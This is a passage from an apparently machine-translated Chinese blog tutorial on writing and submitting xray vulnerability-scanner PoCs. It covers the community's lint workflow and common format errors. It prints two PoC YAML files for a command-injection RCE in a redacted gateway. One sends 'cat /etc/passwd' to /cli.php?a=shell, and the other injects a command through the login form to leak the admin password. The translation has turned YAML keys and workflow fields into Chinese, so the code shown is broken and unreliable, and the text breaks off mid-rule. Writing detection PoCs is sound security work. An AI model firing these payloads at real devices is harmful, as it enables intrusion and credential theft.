发布于12月5日12月5日 ## 前言\r \r \t\t刚接触安全渗透的时候，常常对各种复杂的技术感到有些麻木。诸如sql注入、xss、csrf、ssrf等术语也让人有些望而生畏。后来在前辈的指导下，我认识了sqlmap、nmap等工具。经过一段时间的学习，我逐渐对sqlmap的一个参数—— m参数非常感兴趣，这个参数就是对文件中的可注入链接进行注入测试。这次批量扫描漏洞极大地激发了我的学习兴趣。同时我也想找到一个比sqlmap更精准、扫描入口点更多的工具。 \r \r \t\t恰巧此时，我了解到一位大佬用一个叫xray的工具结合自己写的PoC扫描了百度的一个漏洞，并获得了可观的奖励。我立刻对X射线产生了浓厚的兴趣。也是在那个时候，我知道了PoC、EXP等概念是什么（原谅我这个刚上学的新手，几个月后才接触到这些）\r \r ## 理解概念\r \r ### PoC（概念证明）- 使用证明\r \r - “PoC”，“概念证明”，意思是“证明的使用”。这可以让用户确认该漏洞是真实的。 \r \r ### EXP（利用）- 利用\r \r - `EXP,Exploit` 中文意思是“利用”。是指对漏洞如何利用的详细描述或者演示漏洞攻击代码，可以使用户充分了解漏洞的机理和利用方法。 \r \r ### X 射线\r \r - xray是从长汀动健核心引擎中提取出来的社区版漏洞扫描神器。支持多种主动和被动扫描方式。拥有自己的盲打平台，可以灵活定义PoC。功能丰富，调用方便。支持Windows/macOS/Linux多种操作系统，可以满足广大安全从业者对自动化Web漏洞检测的需求。 \r \r ## 开始使用xray\r \r \t\t了解了xray之后，我很快就开始尝试xray，不过当时我还了解了AWVS、w12scan等扫描仪。于是那个时候我就开始反复的侧跳。当时xray刚刚开放1.0版本。那时的PoC没有现在那么多，功能也没有现在那么强大。内置的爬虫相对于AWVS 来说稍显不足，但对于当时的我来说，相比于w12scan 麻烦的部署方式（对于当时的我来说）和AWVS 半天就用完我30G 流量的恐怖（我也不知道为什么这么多），xray 简单易用，多平台通用，而且随着Rad 的正式发布，我自然开始倾向于xray。 \r \r \t\t当我终于静下心来专心阅读xray的各种内容，还有大佬们分享的文章时，xray在我心里的地位就提升了。同时，一个月更新4个版本的速度，以及社区的活跃度也让我印象深刻。 （2021年更新确实慢了很多，但社区依然活跃）\r \r \t\t进入工作后，我开始频繁使用Xray，同时不断学习穿透知识。 Xray扫描到的漏洞报告简洁明了，让我在不断学习的同时，利用Xray扫描到的漏洞不断重现，知识不断得到证实。直到我开始关注一些一线漏洞预警、威胁情报等信息，我才突然发现，很多新发现的漏洞无法通过xray扫描，因为它的更新频率跟不上漏洞发生的频率。即使有高手提交到了[Pull requests](https://github.com/chaitin/xray/pulls)，你仍然要等待下一个版本合并，或者自己下载后再使用。这还是太麻烦了。另外，提交POC可以兑换高级版本，增加了漏洞扫描类型。也就在这个时候，我产生了自己写一个POC的想法。 \r \r ## 如何开始写作\r \r ### 经验\r \r \t\t当我开始有这个想法时，我立刻想到了官方文档中一个我从未接触过的地方，【定制POC语法-xray安全评估工具文档】（https://docs.xray.cool/#/guide/poc）。 \r \r \t\t看完文档，我对xray PoC的操作有了一个简单的概念：通过写一个固定的yml文件，让xray发送带有这个yml文件内容的包，然后通过返回包来判断是否存在漏洞。我应该做的是告诉xray它应该发送什么样的数据包，并告诉它应该在返回的数据包中获取什么样的信息。 \r \r \t\t同时，我也仔细研究了匹配返回包中信息时使用的表达式和表达式（具体参见最新文档【自定义PoC语法V2版本】(https://docs.xray.cool/#/guide/poc/v2)）\r \r \t\t建议看完官方文档后，如果你还是没有头绪或者无从下手，也可以看一下长亭在知乎上发表的这篇文章：【如何编写xray POC】（https://zhuanlan.zhihu.com/p/78334648）。虽然格式已经过时，但是对于POC的形成还是很有帮助的。尤其要注意POC结构、Rule、表达等方面的知识。但值得提醒的是，如果你没有编程基础，而且是这方面的新手，建议先忽略文章或官方文档中复杂的规则，先有一个大概的了解。只了解最基本的，然后开始写一个只需要发送一个简单的数据包就可以确认漏洞存在的POC。 \r \r \t\t知道这些后，结合我在github上找到的【xray PoC编写辅助工具】（https://phith0n.github.io/xray-poc- Generation/）（当然长亭的知乎文章也提到了这个工具对于不熟悉yaml格式的高手来说非常友好），开始了我的第一次POC编写之旅。 \r \r ### 摘要\r \r \t\t当我们想要开始编写POC并贡献POC时，我们基本上应该按照以下流程来了解如何编写高质量的POC以及如何提交POC。这将有助于我们在写作和提交过程中少走弯路。 \r \r 1.【xray PoC审核标准】(https://stack.chaitin.com/techblog/detail?id=48curNav=index)\r - 您可以查看此文档，了解社区对POC的审核和收录规范\r 2.【自定义PoC语法】(https://stack.chaitin.com/techblog/detail?id=50curNav=index)\r - 最重要的内容应该详细阅读。阅读时建议先不要详细看脚本格式。您可以简单地了解PoC 中有哪些部分。那么配置好环境之后，建议重点阅读和理解生命周期相关的内容。这对于提高对POC各部分的理解很有帮助。了解了PoC的各个部分后，后面写PoC就会相对熟悉\r - 接下来你可以多关注脚本格式的内容。您可以注意到有两个版本：V1 和V2。 V1版本主要服务于xray 1.8.1之前，xray 1.8.1及之后版本改为V2版本。所以建议直接观看V2版本\r 3.【编写高质量POC-xray安全评估工具文档】(https://docs.xray.cool/#/guide/high_quality_poc)\r - 这份文档对于编写一个好的POC，或者一个功能性的POC 有很大的帮助。写完POC后，必须参考本文档来完善你的POC\r - 该文档在**应该做什么** 部分提到了《[漏洞检测的那些事儿](https://paper.seebug.org/9/)》。这篇文章值得反复阅读。这对于提高你在检测方面严谨的思维逻辑非常有帮助，让你在遇到以前从未见过的漏洞后能够快速、很好地拿出检测方案。即使您不写POC，也强烈建议您阅读它。对提高你的业务水平和技术能力有很大的帮助。 \r 4. [xray/pocs at master马云惹不起马云chaitin/xray马云惹不起马云GitHub](https://github.com/chaitin/xray/tree/master/pocs)|[Ctstack 安全社区(chaitin.com)](https://stack.chaitin.com/poc/archive/list?listtype=allval=)\r - 这是由大师编写并包含在内的PoC。了解了原理、格式，对自己要写的PoC有了一定的想法后，不妨去这两个地方看看。最好找一个和你要写的PoC同类型的供参考\r - 如果你还没有开始写，可以参考其他大师的写法，会简单很多\r - 如果你已经写完了，也可以参考一下，看看和其他高手写的有什么不同，取长补短。同时，如果你发现自己的写作比较严谨，也可以提交修改。 \r \r ## PoC 的诞生\r \r \t\t由于xray PoC已更新至V2，以下内容将尽可能按照V2进行\r \r ### 漏洞选择\r \r \t\t漏洞方面，首先阅读官方文档中对【贡献POC】(https://docs.xray.cool/#/guide/contribute)的要求（如果只是自己使用，可以跳过，但提交POC可以获得高级版本，所以建议观看），然后查看【拉取请求马云惹不起马云chaitin/xray】 (github.com)](https://github.com/chaitin/xray/pulls)和[CT栈安全社区(chaitin.com)](https://stack.chaitin.com/security-chaitin.com/security-chaitin/poc/list)检查所选漏洞是否已提交。 \r \r \t\t最后看了之后，选择了*****的RCE漏洞来写POC。 \r \r \t\t该漏洞位于Web管理页面。使用管理员用户名和密码登录设备后，可以通过网页执行一些操作命令。设备上有接口可以读取这些操作命令的返回值。该接口未充分过滤返回值中的恶意指令，导致设备能够通过CLI远程执行部分恶意指令。 \r \r ### 开始写入\r \r \t\t该漏洞是以POST的形式向目标的`/cli.php?a=shell`链接发送`notdelay=truecommand=`等一串数据，并在命令处填写执行的命令。于是我很快就通过P神网站写出了PoC。 \r \r \t\t 这样的PoC现在无疑是很有问题的，但当时写完之后我还是很兴奋的。将生成的结果复制并修改后，我使用命令检查PoC`xray.exe pl --script nacos-cve-2021-29441.yml`的格式（这是最新的检查命令）。在检查提示中使用`python3 -m pip install yamllint`安装了yamllint（xray用来检测yaml格式的工具）并通过了检测。 \r \r \r ### PoC 检测\r \r \t\t当PoC上传到github或者社区时，上传办公室会首先检查PoC的格式。如果格式检测有问题，会先提示您修改格式，然后再手动审核内容。至于上传点检测的原理，我们可以看一下github：xray在github上作为一个项目存在，并且设置了Action。当有人提交PoC 时，将首先执行**check_poc.yml** 指定的操作。具体代码如下：\r \r ```yaml\r name: 检查POC\r on: [推、拉请求]\r 职位:\r check_poc:\r 运行于: ubuntu-18.04\r 步骤:\r - 使用:个动作/setup-python@v1\r with:\r python-version: 3.7\r - 使用: 个操作/checkout@v2\r with:\r 获取深度: 1\r - name: 准备\r 运行: |\r cd $GITHUB_WORKSPACE \\\r wget -nv https://github.com/chaitin/xray/releases/download/1.8.2/xray_linux_amd64.zip \\\r pip3 安装yamllint \\\r 解压xray_linux_amd64.zip \\\r 回显'update:\r check: false'config.yaml\r - name: 检查POC\r 运行: |\r cd $GITHUB_WORKSPACE \\\r ./xray_linux_amd64 poclint --script \'./pocs/*\' --filepath \'./pocs/\' --rules 文件名、文件路径、yamlschema、yamllint、cellint \\\r ./xray_linux_amd64 poclint --script \'./fingerprints/*\' --filepath \'./fingerprints/\' --rules 文件名、文件路径、yamlschema、yamllint、cellint\r ````\r \r \t\t从上面的代码中，我们可以清晰地发现他的检测逻辑：获取运行环境-进入工作目录-获取最新版本的xray的压缩包-使用pip安装yamllint-解压xray并使用`poclint --script`参数进行检测\r \r \t\t理解了这个逻辑，我们可以发现，只要我们在本地使用xray检测通过，那么上传后，肯定会通过检测，可以直接进入人工审核阶段。 \r \r 检测内容主要包括以下几点：\r \r - 检查文件名\r - 检查文件名是否与文件内容中name的值对应\r - 检查密钥名称是否有问题。如果应该有内容，是否有内容\r - 检测yaml 语法错误\r - 检测CEL 表达式的语法问题\r \r 我修改了之前写的一些PoC内容来演示，大致演示了PoC出现问题时的检测反馈和修改：\r \r #### 示例1:\r \r \r \r \r \r - **问题：** 当CEL表达式中存在重复的键值对、键命名不正确、键缺失、方法不存在或使用不正确时，会直接报错，并且不会执行后续的检测过程。 \r - **修改建议：**按照提示仔细检查对应的错误并修改\r \r #### 示例2:\r \r \r \r 命名时，通常会出现几个格式错误，如上图所示：\r \r - **问题：**文件后缀以yaml结尾\r - **修改建议：**将文件名后缀改为yml\r - **问题：**文件名与文件中的名称值不匹配\r - **修改建议：** 先按照官方文档要求的格式修改其中一项的值，然后直接复制粘贴即可（注意name的值比文件名多为`poc-yaml-`）\r - 你可以注意到name检测第五行的错误信息，你会发现它提示你更改name的值的内容，即使这个内容是有问题的。比如这里明明cve的name值是大写的，文件名也没有问题，但是还是提示修改文件名。所以，这里为了不报错，首先要把两者统一起来。 \r - **问题：** 当文件名出现大写时，会报错\r - **错误原因：**文件名正则匹配规则：`^(?poc-yaml|custom|fingerprint-yaml)-[a-z0-9\-]+$`。可以注意到后续匹配中没有大写字母。 \r - **修改建议**：命名时，按照官方文档的要求进行修改。 \r \r 当CEL表达式出现问题时，cellint会检测到并给出修改建议。按照其修改后的样式修改即可\r \r 当所有修改完成后，会有如下图所示的反馈，此时就可以提交了。 \r \r \r \r ### PoC 提交\r \r 测试通过后，在【CT栈安全社区（chaitin.com）】（https://stack.chaitin.com/security-challenge/poc/list/editor）填写相关信息，添加测试环境地址（fofa/shodan声明），提交PoC。 \r \r ### PoC 分析\r \r ```yaml\r name: poc-*****-eg-rce\r 规则:\r - method: POST\r path: \'/cli.php?a=shell\'\r follow_redirects: 假\r body: |\r notdelay=truecommand=cat /etc/passwd\r 表达式: |\r response.status==200 response.body.bcontains(b\'\\\'status\\\':true,\\\'data\\\'\') response.body.bcontains(b\'root\')\r 详情:\r 作者: 贾西斯\r 链接:\r - http://wiki.peiqi.tech/PeiQi_Wiki/%E7%BD%91%E7%BB%9C%E8%AE%BE%E5%A4%87%E6%BC%8F%E6%B4%9E/%E9%94%90%E6%8D%B7/%E9%94%90%E6%8D% B7EG%E6%98%93%E7%BD%91%E5%85%B3%20cli.php%20%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.html\r \r ````\r \r \t\t分析这个POC，你会发现虽然格式没有问题，但我当时急于写PoC而忽略了这篇文章的内容【编写高质量PoC - xray】(https://docs.xray.cool/#/guide/high_quality_poc)。写的时候，我选择在匹配中检测root 这种松散的检测语句，并不是像`root:[x*]:0:0:` 这样的常规检测。当然，不同的版本内容可能会发生变化，所以这里最好不要使用这种方法来检测RCE。 \r \r \t\t其次，该漏洞只有以管理员身份登录时才能触发。爬虫扫描的时候基本不可能触发，所以这个PoC如果只是这样的话，用处不大。它应该与另一个在登录端口获取管理员帐户密码的漏洞结合使用。 \r \r ### 修改PoC\r \r \t\t没想到的是，我提交之后，smile-jpg大师修改了我的PoC，然后就通过了审核。 \r \r ```yaml\r name: poc-*****-eg-cli-rce\r 设置:\r r1: randomInt(8000, 10000)\r r2: 随机整数(8000, 10000)\r 规则:\r - method: POST\r 路径: /login.php\r headers:\r Content-Type: 应用程序/x-www-form-urlencoded\r body: |\r 用户名=admin密码=admin?show+网站管理员+用户\r 表达式: |\r response.status==200 response.content_type.contains(\'text/json\')\r 搜索: |\r {\'data\':\'.*admin\\s?(?P[^\\']*)\r - method: POST\r 路径: /login.php\r headers:\r Content-Type: 应用程序/x-www-form-urlencoded\r body: |\r 用户名=管理员密码={{密码}}\r 表达式: |\r response.status==200 response.content_type.contains(\'text/json\') response.headers[\'Set-Cookie\']
创建帐户或登录后发表意见